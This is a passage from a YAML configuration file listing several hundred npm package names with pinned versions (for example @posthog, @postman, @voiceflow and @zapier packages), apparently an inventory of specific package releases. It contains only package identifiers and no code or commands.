            - '@asyncapi/nodejs-ws-template@0.10.1'
            - '@asyncapi/nodejs-ws-template@0.10.2'
            - '@asyncapi/nunjucks-filters@2.1.1'
            - '@asyncapi/nunjucks-filters@2.1.2'
            - '@asyncapi/openapi-schema-parser@3.0.25'
            - '@asyncapi/openapi-schema-parser@3.0.26'
            - '@asyncapi/optimizer@1.0.5'
            - '@asyncapi/optimizer@1.0.6'
            - '@asyncapi/parser@3.4.1'
            - '@asyncapi/parser@3.4.2'
            - '@asyncapi/php-template@0.1.1'
            - '@asyncapi/php-template@0.1.2'
            - '@asyncapi/problem@1.0.1'
            - '@asyncapi/problem@1.0.2'
            - '@asyncapi/protobuf-schema-parser@3.5.2'
            - '@asyncapi/protobuf-schema-parser@3.5.3'
            - '@asyncapi/protobuf-schema-parser@3.6.1'
            - '@asyncapi/python-paho-template@0.2.14'
            - '@asyncapi/python-paho-template@0.2.15'
            - '@asyncapi/react-component@2.6.6'
            - '@asyncapi/react-component@2.6.7'
            - '@asyncapi/server-api@0.16.24'
            - '@asyncapi/server-api@0.16.25'
            - '@asyncapi/specs@6.10.1'
            - '@asyncapi/specs@6.8.2'
            - '@asyncapi/specs@6.8.3'
            - '@asyncapi/specs@6.9.1'
            - '@asyncapi/studio@1.0.2'
            - '@asyncapi/studio@1.0.3'
            - '@asyncapi/web-component@2.6.6'
            - '@asyncapi/web-component@2.6.7'
            - '@bdkinc/knex-ibmi@0.5.7'
            - '@browserbasehq/bb9@1.2.21'
            - '@browserbasehq/director-ai@1.0.3'
            - '@browserbasehq/mcp-server-browserbase@2.4.2'
            - '@browserbasehq/mcp@2.1.1'
            - '@browserbasehq/sdk-functions@0.0.4'
            - '@browserbasehq/stagehand-docs@1.0.1'
            - '@browserbasehq/stagehand@3.0.4'
            - '@caretive/caret-cli@0.0.2'
            - '@chtijs/eslint-config@1.0.1'
            - '@clausehq/flows-step-httprequest@0.1.14'
            - '@clausehq/flows-step-jsontoxml@0.1.14'
            - '@clausehq/flows-step-mqtt@0.1.14'
            - '@clausehq/flows-step-sendgridemail@0.1.14'
            - '@clausehq/flows-step-taskscreateurl@0.1.14'
            - '@cllbk/ghl@1.3.1'
            - '@commute/bloom@1.0.3'
            - '@commute/market-data-chartjs@2.3.1'
            - '@commute/market-data@1.0.2'
            - '@dev-blinq/ai-qa-logic@1.0.19'
            - '@dev-blinq/blinqioclient@1.0.21'
            - '@dev-blinq/cucumber-js@1.0.131'
            - '@dev-blinq/cucumber_client@1.0.738'
            - '@dev-blinq/ui-systems@1.0.93'
            - '@elsedev/react-csr-sdk@0.2.2'
            - '@ensdomains/address-encoder@1.1.5'
            - '@ensdomains/blacklist@1.0.1'
            - '@ensdomains/buffer@0.1.2'
            - '@ensdomains/ccip-read-cf-worker@0.0.4'
            - '@ensdomains/ccip-read-dns-gateway@0.1.1'
            - '@ensdomains/ccip-read-router@0.0.7'
            - '@ensdomains/ccip-read-worker-viem@0.0.4'
            - '@ensdomains/content-hash@3.0.1'
            - '@ensdomains/curvearithmetics@1.0.1'
            - '@ensdomains/cypress-metamask@1.2.1'
            - '@ensdomains/dnsprovejs@0.5.3'
            - '@ensdomains/dnssec-oracle-anchors@0.0.2'
            - '@ensdomains/dnssecoraclejs@0.2.9'
            - '@ensdomains/durin-middleware@0.0.2'
            - '@ensdomains/durin@0.1.2'
            - '@ensdomains/ens-archived-contracts@0.0.3'
            - '@ensdomains/ens-avatar@1.0.4'
            - '@ensdomains/ens-contracts@1.6.1'
            - '@ensdomains/ens-test-env@1.0.2'
            - '@ensdomains/ens-validation@0.1.1'
            - '@ensdomains/ensjs-react@0.0.5'
            - '@ensdomains/ensjs@4.0.3'
            - '@ensdomains/eth-ens-namehash@2.0.16'
            - '@ensdomains/hackathon-registrar@1.0.5'
            - '@ensdomains/hardhat-chai-matchers-viem@0.1.15'
            - '@ensdomains/hardhat-toolbox-viem-extended@0.0.6'
            - '@ensdomains/mock@2.1.52'
            - '@ensdomains/name-wrapper@1.0.1'
            - '@ensdomains/offchain-resolver-contracts@0.2.2'
            - '@ensdomains/op-resolver-contracts@0.0.2'
            - '@ensdomains/react-ens-address@0.0.32'
            - '@ensdomains/renewal-widget@0.1.10'
            - '@ensdomains/renewal@0.0.13'
            - '@ensdomains/reverse-records@1.0.1'
            - '@ensdomains/server-analytics@0.0.2'
            - '@ensdomains/solsha1@0.0.4'
            - '@ensdomains/subdomain-registrar@0.2.4'
            - '@ensdomains/test-utils@1.3.1'
            - '@ensdomains/thorin@0.6.51'
            - '@ensdomains/ui@3.4.6'
            - '@ensdomains/unicode-confusables@0.1.1'
            - '@ensdomains/unruggable-gateways@0.0.3'
            - '@ensdomains/vite-plugin-i18next-loader@4.0.4'
            - '@ensdomains/web3modal@1.10.2'
            - '@everreal/react-charts@2.0.1'
            - '@everreal/react-charts@2.0.2'
            - '@everreal/validate-esmoduleinterop-imports@1.4.4'
            - '@everreal/validate-esmoduleinterop-imports@1.4.5'
            - '@everreal/web-analytics@0.0.1'
            - '@everreal/web-analytics@0.0.2'
            - '@faq-component/core@0.0.4'
            - '@faq-component/react@1.0.1'
            - '@fishingbooker/browser-sync-plugin@1.0.5'
            - '@fishingbooker/react-loader@1.0.7'
            - '@fishingbooker/react-pagination@2.0.6'
            - '@fishingbooker/react-raty@2.0.1'
            - '@fishingbooker/react-swiper@0.1.5'
            - '@hapheus/n8n-nodes-pgp@1.5.1'
            - '@hover-design/core@0.0.1'
            - '@hover-design/react@0.2.1'
            - '@huntersofbook/auth-vue@0.4.2'
            - '@huntersofbook/core-nuxt@0.4.2'
            - '@huntersofbook/core@0.5.1'
            - '@huntersofbook/form-naiveui@0.5.1'
            - '@huntersofbook/i18n@0.8.2'
            - '@huntersofbook/ui@0.5.1'
            - '@hyperlook/telemetry-sdk@1.0.19'
            - '@ifelsedeveloper/protocol-contracts-svm-idl@0.1.2'
            - '@ifelsedeveloper/protocol-contracts-svm-idl@0.1.3'
            - '@ifings/design-system@4.9.2'
            - '@ifings/metatron3@0.1.5'
            - '@jayeshsadhwani/telemetry-sdk@1.0.14'
            - '@kvytech/cli@0.0.7'
            - '@kvytech/components@0.0.2'
            - '@kvytech/habbit-e2e-test@0.0.2'
            - '@kvytech/medusa-plugin-announcement@0.0.8'
            - '@kvytech/medusa-plugin-management@0.0.5'
            - '@kvytech/medusa-plugin-newsletter@0.0.5'
            - '@kvytech/medusa-plugin-product-reviews@0.0.9'
            - '@kvytech/medusa-plugin-promotion@0.0.2'
            - '@kvytech/web@0.0.2'
            - '@lessondesk/api-client@9.12.2'
            - '@lessondesk/api-client@9.12.3'
            - '@lessondesk/babel-preset@1.0.1'
            - '@lessondesk/electron-group-api-client@1.0.3'
            - '@lessondesk/eslint-config@1.4.2'
            - '@lessondesk/material-icons@1.0.3'
            - '@lessondesk/react-table-context@2.0.4'
            - '@lessondesk/schoolbus@5.2.2'
            - '@lessondesk/schoolbus@5.2.3'
            - '@livecms/live-edit@0.0.32'
            - '@livecms/nuxt-live-edit@1.9.2'
            - '@lokeswari-satyanarayanan/rn-zustand-expo-template@1.0.9'
            - '@louisle2/core@1.0.1'
            - '@louisle2/cortex-js@0.1.6'
            - '@lpdjs/firestore-repo-service@1.0.1'
            - '@lui-ui/lui-nuxt@0.1.1'
            - '@lui-ui/lui-tailwindcss@0.1.2'
            - '@lui-ui/lui-vue@1.0.13'
            - '@markvivanco/app-version-checker@1.0.1'
            - '@markvivanco/app-version-checker@1.0.2'
            - '@mcp-use/cli@2.2.6'
            - '@mcp-use/cli@2.2.7'
            - '@mcp-use/inspector@0.6.2'
            - '@mcp-use/inspector@0.6.3'
            - '@mcp-use/mcp-use@1.0.1'
            - '@mcp-use/mcp-use@1.0.2'
            - '@micado-digital/stadtmarketing-kufstein-external@1.9.1'
            - '@mizzle-dev/orm@0.0.2'
            - '@mparpaillon/connector-parse@1.0.1'
            - '@mparpaillon/imagesloaded@4.1.2'
            - '@mparpaillon/page@1.0.1'
            - '@ntnx/passport-wso2@0.0.3'
            - '@ntnx/t@0.0.101'
            - '@oku-ui/accordion@0.6.2'
            - '@oku-ui/alert-dialog@0.6.2'
            - '@oku-ui/arrow@0.6.2'
            - '@oku-ui/aspect-ratio@0.6.2'
            - '@oku-ui/avatar@0.6.2'
            - '@oku-ui/checkbox@0.6.3'
            - '@oku-ui/collapsible@0.6.2'
            - '@oku-ui/collection@0.6.2'
            - '@oku-ui/dialog@0.6.2'
            - '@oku-ui/direction@0.6.2'
            - '@oku-ui/dismissable-layer@0.6.2'
            - '@oku-ui/focus-guards@0.6.2'
            - '@oku-ui/focus-scope@0.6.2'
            - '@oku-ui/hover-card@0.6.2'
            - '@oku-ui/label@0.6.2'
            - '@oku-ui/menu@0.6.2'
            - '@oku-ui/motion-nuxt@0.2.2'
            - '@oku-ui/motion@0.4.4'
            - '@oku-ui/popover@0.6.2'
            - '@oku-ui/popper@0.6.2'
            - '@oku-ui/portal@0.6.2'
            - '@oku-ui/presence@0.6.2'
            - '@oku-ui/primitive@0.6.2'
            - '@oku-ui/primitives-nuxt@0.3.1'
            - '@oku-ui/primitives@0.7.9'
            - '@oku-ui/progress@0.6.2'
            - '@oku-ui/provide@0.6.2'
            - '@oku-ui/radio-group@0.6.2'
            - '@oku-ui/roving-focus@0.6.2'
            - '@oku-ui/scroll-area@0.6.2'
            - '@oku-ui/separator@0.6.2'
            - '@oku-ui/slider@0.6.2'
            - '@oku-ui/slot@0.6.2'
            - '@oku-ui/switch@0.6.2'
            - '@oku-ui/tabs@0.6.2'
            - '@oku-ui/toast@0.6.2'
            - '@oku-ui/toggle-group@0.6.2'
            - '@oku-ui/toggle@0.6.2'
            - '@oku-ui/toolbar@0.6.2'
            - '@oku-ui/tooltip@0.6.2'
            - '@oku-ui/use-composable@0.6.2'
            - '@oku-ui/utils@0.6.2'
            - '@oku-ui/visually-hidden@0.6.2'
            - '@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode@2.0.5'
            - '@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode@1.1.1'
            - '@orbitgtbelgium/orbit-components@1.2.9'
            - '@orbitgtbelgium/time-slider@1.0.187'
            - '@osmanekrem/bmad@1.0.6'
            - '@osmanekrem/error-handler@1.2.2'
            - '@pergel/cli@0.11.1'
            - '@pergel/module-box@0.6.1'
            - '@pergel/module-graphql@0.6.1'
            - '@pergel/module-ui@0.0.9'
            - '@pergel/nuxt@0.25.5'
            - '@posthog/agent@1.24.1'
            - '@posthog/ai@7.1.2'
            - '@posthog/automatic-cohorts-plugin@0.0.8'
            - '@posthog/bitbucket-release-tracker@0.0.8'
            - '@posthog/cli@0.5.15'
            - '@posthog/clickhouse@1.7.1'
            - '@posthog/core@1.5.6'
            - '@posthog/currency-normalization-plugin@0.0.8'
            - '@posthog/customerio-plugin@0.0.8'
            - '@posthog/databricks-plugin@0.0.8'
            - '@posthog/drop-events-on-property-plugin@0.0.8'
            - '@posthog/event-sequence-timer-plugin@0.0.8'
            - '@posthog/filter-out-plugin@0.0.8'
            - '@posthog/first-time-event-tracker@0.0.8'
            - '@posthog/geoip-plugin@0.0.8'
            - '@posthog/github-release-tracking-plugin@0.0.8'
            - '@posthog/gitub-star-sync-plugin@0.0.8'
            - '@posthog/heartbeat-plugin@0.0.8'
            - '@posthog/hedgehog-mode@0.0.42'
            - '@posthog/icons@0.36.1'
            - '@posthog/ingestion-alert-plugin@0.0.8'
            - '@posthog/intercom-plugin@0.0.8'
            - '@posthog/kinesis-plugin@0.0.8'
            - '@posthog/laudspeaker-plugin@0.0.8'
            - '@posthog/lemon-ui@0.0.1'
            - '@posthog/maxmind-plugin@0.1.6'
            - '@posthog/migrator3000-plugin@0.0.8'
            - '@posthog/netdata-event-processing@0.0.8'
            - '@posthog/nextjs-config@1.5.1'
            - '@posthog/nextjs@0.0.3'
            - '@posthog/nuxt@1.2.9'
            - '@posthog/pagerduty-plugin@0.0.8'
            - '@posthog/piscina@3.2.1'
            - '@posthog/plugin-contrib@0.0.6'
            - '@posthog/plugin-server@1.10.8'
            - '@posthog/plugin-unduplicates@0.0.8'
            - '@posthog/postgres-plugin@0.0.8'
            - '@posthog/react-rrweb-player@1.1.4'
            - '@posthog/rrdom@0.0.31'
            - '@posthog/rrweb-player@0.0.31'
            - '@posthog/rrweb-record@0.0.31'
            - '@posthog/rrweb-replay@0.0.19'
            - '@posthog/rrweb-snapshot@0.0.31'
            - '@posthog/rrweb-utils@0.0.31'
            - '@posthog/rrweb@0.0.31'
            - '@posthog/sendgrid-plugin@0.0.8'
            - '@posthog/siphash@1.1.2'
            - '@posthog/snowflake-export-plugin@0.0.8'
            - '@posthog/taxonomy-plugin@0.0.8'
            - '@posthog/twilio-plugin@0.0.8'
            - '@posthog/twitter-followers-plugin@0.0.8'
            - '@posthog/url-normalizer-plugin@0.0.8'
            - '@posthog/variance-plugin@0.0.8'
            - '@posthog/web-dev-server@1.0.5'
            - '@posthog/wizard@1.18.1'
            - '@posthog/zendesk-plugin@0.0.8'
            - '@postman/aether-icons@2.23.2'
            - '@postman/aether-icons@2.23.3'
            - '@postman/aether-icons@2.23.4'
            - '@postman/csv-parse@4.0.3'
            - '@postman/csv-parse@4.0.4'
            - '@postman/csv-parse@4.0.5'
            - '@postman/final-node-keytar@7.9.1'
            - '@postman/final-node-keytar@7.9.2'
            - '@postman/final-node-keytar@7.9.3'
            - '@postman/mcp-ui-client@5.5.1'
            - '@postman/mcp-ui-client@5.5.2'
            - '@postman/mcp-ui-client@5.5.3'
            - '@postman/node-keytar@7.9.4'
            - '@postman/node-keytar@7.9.5'
            - '@postman/node-keytar@7.9.6'
            - '@postman/pm-bin-linux-x64@1.24.3'
            - '@postman/pm-bin-linux-x64@1.24.4'
            - '@postman/pm-bin-linux-x64@1.24.5'
            - '@postman/pm-bin-macos-arm64@1.24.3'
            - '@postman/pm-bin-macos-arm64@1.24.4'
            - '@postman/pm-bin-macos-arm64@1.24.5'
            - '@postman/pm-bin-macos-x64@1.24.3'
            - '@postman/pm-bin-macos-x64@1.24.4'
            - '@postman/pm-bin-macos-x64@1.24.5'
            - '@postman/pm-bin-windows-x64@1.24.3'
            - '@postman/pm-bin-windows-x64@1.24.4'
            - '@postman/pm-bin-windows-x64@1.24.5'
            - '@postman/postman-collection-fork@4.3.3'
            - '@postman/postman-collection-fork@4.3.4'
            - '@postman/postman-collection-fork@4.3.5'
            - '@postman/postman-mcp-cli@1.0.3'
            - '@postman/postman-mcp-cli@1.0.4'
            - '@postman/postman-mcp-cli@1.0.5'
            - '@postman/postman-mcp-server@2.4.10'
            - '@postman/postman-mcp-server@2.4.11'
            - '@postman/postman-mcp-server@2.4.12'
            - '@postman/pretty-ms@6.1.1'
            - '@postman/pretty-ms@6.1.2'
            - '@postman/pretty-ms@6.1.3'
            - '@postman/secret-scanner-wasm@2.1.2'
            - '@postman/secret-scanner-wasm@2.1.3'
            - '@postman/secret-scanner-wasm@2.1.4'
            - '@postman/tunnel-agent@0.6.5'
            - '@postman/tunnel-agent@0.6.6'
            - '@postman/tunnel-agent@0.6.7'
            - '@postman/wdio-allure-reporter@0.0.7'
            - '@postman/wdio-allure-reporter@0.0.8'
            - '@postman/wdio-allure-reporter@0.0.9'
            - '@postman/wdio-junit-reporter@0.0.4'
            - '@postman/wdio-junit-reporter@0.0.5'
            - '@postman/wdio-junit-reporter@0.0.6'
            - '@pradhumngautam/common-app@1.0.2'
            - '@productdevbook/animejs-vue@0.2.1'
            - '@productdevbook/auth@0.2.2'
            - '@productdevbook/chatwoot@2.0.1'
            - '@productdevbook/motion@1.0.4'
            - '@productdevbook/ts-i18n@1.4.2'
            - '@pruthvi21/use-debounce@1.0.3'
            - '@quick-start-soft/quick-document-translator@1.4.2511142126'
            - '@quick-start-soft/quick-git-clean-markdown@1.4.2511142126'
            - '@quick-start-soft/quick-markdown-compose@1.4.2506300029'
            - '@quick-start-soft/quick-markdown-image@1.4.2511142126'
            - '@quick-start-soft/quick-markdown-print@1.4.2511142126'
            - '@quick-start-soft/quick-markdown-translator@1.4.2509202331'
            - '@quick-start-soft/quick-markdown@1.4.2511142126'
            - '@quick-start-soft/quick-remove-image-background@1.4.2511142126'
            - '@quick-start-soft/quick-task-refine@1.4.2511142126'
            - '@relyt/claude-context-core@0.1.1'
            - '@relyt/claude-context-mcp@0.1.1'
            - '@relyt/mcp-server-relytone@0.0.3'
            - '@sameepsi/sor2@2.0.2'
            - '@sameepsi/sor@1.0.3'
            - '@seezo/sdr-mcp-server@0.0.5'
            - '@seung-ju/next@0.0.2'
            - '@seung-ju/openapi-generator@0.0.4'
            - '@seung-ju/react-hooks@0.0.2'
            - '@seung-ju/react-native-action-sheet@0.2.1'
            - '@silgi/better-auth@0.8.1'
            - '@silgi/drizzle@0.8.4'
            - '@silgi/ecosystem@0.7.6'
            - '@silgi/graphql@0.7.15'
            - '@silgi/module-builder@0.8.8'
            - '@silgi/openapi@0.7.4'
            - '@silgi/permission@0.6.8'
            - '@silgi/ratelimit@0.2.1'
            - '@silgi/scalar@0.6.2'
            - '@silgi/yoga@0.7.1'
            - '@sme-ui/aoma-vevasound-metadata-lib@0.1.3'
            - '@strapbuild/react-native-date-time-picker@2.0.4'
            - '@strapbuild/react-native-perspective-image-cropper-2@0.4.7'
            - '@strapbuild/react-native-perspective-image-cropper-poojan31@0.4.6'
            - '@strapbuild/react-native-perspective-image-cropper@0.4.15'
            - '@suraj_h/medium-common@1.0.5'
            - '@thedelta/eslint-config@1.0.2'
            - '@tiaanduplessis/json@2.0.2'
            - '@tiaanduplessis/json@2.0.3'
            - '@tiaanduplessis/react-progressbar@1.0.1'
            - '@tiaanduplessis/react-progressbar@1.0.2'
            - '@trackstar/angular-trackstar-link@1.0.2'
            - '@trackstar/react-trackstar-link-upgrade@1.1.10'
            - '@trackstar/react-trackstar-link@2.0.21'
            - '@trackstar/test-angular-package@0.0.9'
            - '@trackstar/test-package@1.1.5'
            - '@trefox/sleekshop-js@0.1.6'
            - '@trigo/atrix-acl@4.0.2'
            - '@trigo/atrix-elasticsearch@2.0.1'
            - '@trigo/atrix-mongoose@1.0.2'
            - '@trigo/atrix-orientdb@1.0.2'
            - '@trigo/atrix-postgres@1.0.3'
            - '@trigo/atrix-pubsub@4.0.3'
            - '@trigo/atrix-redis@1.0.2'
            - '@trigo/atrix-soap@1.0.2'
            - '@trigo/atrix-swagger@3.0.1'
            - '@trigo/atrix@7.0.1'
            - '@trigo/bool-expressions@4.1.3'
            - '@trigo/eslint-config-trigo@3.3.1'
            - '@trigo/fsm@3.4.2'
            - '@trigo/hapi-auth-signedlink@1.3.1'
            - '@trigo/jsdt@0.2.1'
            - '@trigo/keycloak-api@1.3.1'
            - '@trigo/node-soap@0.5.4'
            - '@trigo/pathfinder-ui-css@0.1.1'
            - '@trigo/trigo-hapijs@5.0.1'
            - '@trpc-rate-limiter/cloudflare@0.1.4'
            - '@trpc-rate-limiter/hono@0.1.4'
            - '@varsityvibe/api-client@1.3.36'
            - '@varsityvibe/api-client@1.3.37'
            - '@varsityvibe/utils@5.0.6'
            - '@varsityvibe/validation-schemas@0.6.7'
            - '@varsityvibe/validation-schemas@0.6.8'
            - '@viapip/eslint-config@0.2.4'
            - '@vishadtyagi/full-year-calendar@0.1.11'
            - '@voiceflow/alexa-types@2.15.60'
            - '@voiceflow/alexa-types@2.15.61'
            - '@voiceflow/anthropic@0.4.4'
            - '@voiceflow/anthropic@0.4.5'
            - '@voiceflow/api-sdk@3.28.58'
            - '@voiceflow/api-sdk@3.28.59'
            - '@voiceflow/backend-utils@5.0.1'
            - '@voiceflow/backend-utils@5.0.2'
            - '@voiceflow/base-types@2.136.2'
            - '@voiceflow/base-types@2.136.3'
            - '@voiceflow/body-parser@1.21.2'
            - '@voiceflow/body-parser@1.21.3'
            - '@voiceflow/chat-types@2.14.58'
            - '@voiceflow/chat-types@2.14.59'
            - '@voiceflow/circleci-config-sdk-orb-import@0.2.1'
            - '@voiceflow/circleci-config-sdk-orb-import@0.2.2'
            - '@voiceflow/commitlint-config@2.6.1'
            - '@voiceflow/commitlint-config@2.6.2'
            - '@voiceflow/common@8.9.1'
            - '@voiceflow/common@8.9.2'
            - '@voiceflow/default-prompt-wrappers@1.7.3'
            - '@voiceflow/default-prompt-wrappers@1.7.4'
            - '@voiceflow/dependency-cruiser-config@1.8.11'
            - '@voiceflow/dependency-cruiser-config@1.8.12'
            - '@voiceflow/dtos-interact@1.40.1'
            - '@voiceflow/dtos-interact@1.40.2'
            - '@voiceflow/encryption@0.3.2'
            - '@voiceflow/encryption@0.3.3'
            - '@voiceflow/eslint-config@7.16.4'
            - '@voiceflow/eslint-config@7.16.5'
            - '@voiceflow/eslint-plugin@1.6.1'
            - '@voiceflow/eslint-plugin@1.6.2'
            - '@voiceflow/exception@1.10.1'
            - '@voiceflow/exception@1.10.2'
            - '@voiceflow/fetch@1.11.1'
            - '@voiceflow/fetch@1.11.2'
            - '@voiceflow/general-types@3.2.22'
            - '@voiceflow/general-types@3.2.23'
            - '@voiceflow/git-branch-check@1.4.3'
            - '@voiceflow/git-branch-check@1.4.4'
            - '@voiceflow/google-dfes-types@2.17.12'
            - '@voiceflow/google-dfes-types@2.17.13'
            - '@voiceflow/google-types@2.21.12'
            - '@voiceflow/google-types@2.21.13'
            - '@voiceflow/husky-config@1.3.1'
            - '@voiceflow/husky-config@1.3.2'
            - '@voiceflow/logger@2.4.2'
            - '@voiceflow/logger@2.4.3'
            - '@voiceflow/metrics@1.5.1'
            - '@voiceflow/metrics@1.5.2'
            - '@voiceflow/natural-language-commander@0.5.2'
            - '@voiceflow/natural-language-commander@0.5.3'
            - '@voiceflow/nestjs-common@2.75.2'
            - '@voiceflow/nestjs-common@2.75.3'
            - '@voiceflow/nestjs-mongodb@1.3.1'
            - '@voiceflow/nestjs-mongodb@1.3.2'
            - '@voiceflow/nestjs-rate-limit@1.3.2'
            - '@voiceflow/nestjs-rate-limit@1.3.3'
            - '@voiceflow/nestjs-redis@1.3.1'
            - '@voiceflow/nestjs-redis@1.3.2'
            - '@voiceflow/nestjs-timeout@1.3.1'
            - '@voiceflow/nestjs-timeout@1.3.2'
            - '@voiceflow/npm-package-json-lint-config@1.1.1'
            - '@voiceflow/npm-package-json-lint-config@1.1.2'
            - '@voiceflow/openai@3.2.2'
            - '@voiceflow/openai@3.2.3'
            - '@voiceflow/pino-pretty@4.4.1'
            - '@voiceflow/pino-pretty@4.4.2'
            - '@voiceflow/pino@6.11.3'
            - '@voiceflow/pino@6.11.4'
            - '@voiceflow/prettier-config@1.10.1'
            - '@voiceflow/prettier-config@1.10.2'
            - '@voiceflow/react-chat@1.65.3'
            - '@voiceflow/react-chat@1.65.4'
            - '@voiceflow/runtime-client-js@1.17.2'
            - '@voiceflow/runtime-client-js@1.17.3'
            - '@voiceflow/runtime@1.29.1'
            - '@voiceflow/runtime@1.29.2'
            - '@voiceflow/sdk-runtime@1.43.1'
            - '@voiceflow/sdk-runtime@1.43.2'
            - '@voiceflow/secrets-provider@1.9.2'
            - '@voiceflow/secrets-provider@1.9.3'
            - '@voiceflow/semantic-release-config@1.4.1'
            - '@voiceflow/semantic-release-config@1.4.2'
            - '@voiceflow/serverless-plugin-typescript@2.1.7'
            - '@voiceflow/serverless-plugin-typescript@2.1.8'
            - '@voiceflow/slate-serializer@1.7.3'
            - '@voiceflow/slate-serializer@1.7.4'
            - '@voiceflow/stitches-react@2.3.2'
            - '@voiceflow/stitches-react@2.3.3'
            - '@voiceflow/storybook-config@1.2.2'
            - '@voiceflow/storybook-config@1.2.3'
            - '@voiceflow/stylelint-config@1.1.1'
            - '@voiceflow/stylelint-config@1.1.2'
            - '@voiceflow/test-common@2.1.1'
            - '@voiceflow/test-common@2.1.2'
            - '@voiceflow/tsconfig-paths@1.1.4'
            - '@voiceflow/tsconfig-paths@1.1.5'
            - '@voiceflow/tsconfig@1.12.1'
            - '@voiceflow/tsconfig@1.12.2'
            - '@voiceflow/utils-designer@1.74.19'
            - '@voiceflow/utils-designer@1.74.20'
            - '@voiceflow/verror@1.1.4'
            - '@voiceflow/verror@1.1.5'
            - '@voiceflow/vite-config@2.6.2'
            - '@voiceflow/vite-config@2.6.3'
            - '@voiceflow/vitest-config@1.10.2'
            - '@voiceflow/vitest-config@1.10.3'
            - '@voiceflow/voice-types@2.10.58'
            - '@voiceflow/voice-types@2.10.59'
            - '@voiceflow/voiceflow-types@3.32.45'
            - '@voiceflow/voiceflow-types@3.32.46'
            - '@voiceflow/widget@1.7.18'
            - '@voiceflow/widget@1.7.19'
            - '@vucod/email@0.0.3'
            - '@zapier/ai-actions-react@0.1.12'
            - '@zapier/ai-actions-react@0.1.13'
            - '@zapier/ai-actions-react@0.1.14'
            - '@zapier/ai-actions@0.1.18'
            - '@zapier/ai-actions@0.1.19'
            - '@zapier/ai-actions@0.1.20'
            - '@zapier/babel-preset-zapier@6.4.1'
            - '@zapier/babel-preset-zapier@6.4.2'
            - '@zapier/babel-preset-zapier@6.4.3'
            - '@zapier/browserslist-config-zapier@1.0.3'
            - '@zapier/browserslist-config-zapier@1.0.4'
            - '@zapier/browserslist-config-zapier@1.0.5'
            - '@zapier/eslint-plugin-zapier@11.0.3'
            - '@zapier/eslint-plugin-zapier@11.0.4'
            - '@zapier/eslint-plugin-zapier@11.0.5'
            - '@zapier/mcp-integration@3.0.1'
            - '@zapier/mcp-integration@3.0.2'
            - '@zapier/mcp-integration@3.0.3'
            - '@zapier/secret-scrubber@1.1.3'
            - '@zapier/secret-scrubber@1.1.4'
            - '@zapier/secret-scrubber@1.1.5'
            - '@zapier/spectral-api-ruleset@1.9.1'
            - '@zapier/spectral-api-ruleset@1.9.2'
            - '@zapier/spectral-api-ruleset@1.9.3'
            - '@zapier/stubtree@0.1.2'
            - '@zapier/stubtree@0.1.3'
            - '@zapier/stubtree@0.1.4'
            - '@zapier/zapier-sdk@0.15.5'
            - '@zapier/zapier-sdk@0.15.6'
            - '@zapier/zapier-sdk@0.15.7'
            - 'ai-crowl-shield@1.0.7'
            - 'arc-cli-fc@1.0.1'
            - 'asciitranslator@1.0.3'
            - 'asyncapi-preview@1.0.1'
            - 'asyncapi-preview@1.0.2'
            - 'atrix-mongoose@1.0.1'
            - 'atrix@1.0.1'
            - 'automation_model@1.0.491'
            - 'avvvatars-vue@1.1.2'
            - 'axios-builder@1.2.1'
            - 'axios-cancelable@1.0.1'
            - 'axios-cancelable@1.0.2'
            - 'axios-timed@1.0.1'
            - 'axios-timed@1.0.2'
            - 'babel-preset-kinvey-flex-service@0.1.1'
            - 'barebones-css@1.1.3'
            - 'barebones-css@1.1.4'
            - 'benmostyn-frame-print@1.0.1'
            - 'bestgpiocontroller@1.0.10'
            - 'better-auth-nuxt@0.0.10'
            - 'better-queue-nedb@0.1.5'
            - 'bidirectional-adapter@1.2.2'
            - 'bidirectional-adapter@1.2.3'
            - 'bidirectional-adapter@1.2.4'
            - 'bidirectional-adapter@1.2.5'
            - 'blinqio-executions-cli@1.0.41'
            - 'blob-to-base64@1.0.3'
            - 'bool-expressions@0.1.2'
            - 'buffered-interpolation-babylon6@0.2.8'
            - 'bun-plugin-httpfile@0.1.1'
            - 'bytecode-checker-cli@1.0.10'
            - 'bytecode-checker-cli@1.0.11'
            - 'bytecode-checker-cli@1.0.8'
            - 'bytecode-checker-cli@1.0.9'
            - 'bytes-to-x@1.0.1'
            - 'calc-loan-interest@1.0.4'
            - 'capacitor-plugin-apptrackingios@0.0.21'
            - 'capacitor-plugin-purchase@0.1.1'
            - 'capacitor-plugin-scgssigninwithgoogle@0.0.5'
            - 'capacitor-purchase-history@0.0.10'
            - 'capacitor-voice-recorder-wav@6.0.3'
            - 'cbre-flow-common@1.3.1'
            - 'cbre-flow-common@1.3.2'
            - 'ceviz@0.0.5'
            - 'chrome-extension-downloads@0.0.3'
            - 'chrome-extension-downloads@0.0.4'
            - 'claude-token-updater@1.0.3'
            - 'coinmarketcap-api@3.1.2'
            - 'coinmarketcap-api@3.1.3'
            - 'colors-regex@2.0.1'
            - 'command-irail@0.5.4'
            - 'compare-obj@1.1.1'
            - 'compare-obj@1.1.2'
            - 'composite-reducer@1.0.2'
            - 'composite-reducer@1.0.3'
            - 'composite-reducer@1.0.4'
            - 'composite-reducer@1.0.5'
            - 'count-it-down@1.0.1'
            - 'count-it-down@1.0.2'
            - 'cpu-instructions@0.0.14'
            - 'create-director-app@0.1.1'
            - 'create-glee-app@0.2.2'
            - 'create-glee-app@0.2.3'
            - 'create-hardhat3-app@1.1.1'
            - 'create-hardhat3-app@1.1.2'
            - 'create-hardhat3-app@1.1.3'
            - 'create-hardhat3-app@1.1.4'
            - 'create-kinvey-flex-service@0.2.1'
            - 'create-mcp-use-app@0.5.3'
            - 'create-mcp-use-app@0.5.4'
            - 'create-silgi@0.3.1'
            - 'crypto-addr-codec@0.1.9'
            - 'css-dedoupe@0.1.2'
            - 'csv-tool-cli@1.2.1'
            - 'dashboard-empty-state@1.0.3'
            - 'designstudiouiux@1.0.1'
            - 'devstart-cli@1.0.6'
            - 'dialogflow-es@1.1.1'
            - 'dialogflow-es@1.1.2'
            - 'dialogflow-es@1.1.3'
            - 'dialogflow-es@1.1.4'
            - 'discord-bot-server@0.1.2'
            - 'docusaurus-plugin-vanilla-extract@1.0.3'
            - 'dont-go@1.1.2'
            - 'dotnet-template@0.0.3'
            - 'dotnet-template@0.0.4'
            - 'drop-events-on-property-plugin@0.0.2'
            - 'easypanel-sdk@0.3.2'
            - 'electron-volt@0.0.2'
            - 'email-deliverability-tester@1.1.1'
            - 'enforce-branch-name@1.1.3'
            - 'esbuild-plugin-brotli@0.2.1'
            - 'esbuild-plugin-eta@0.1.1'
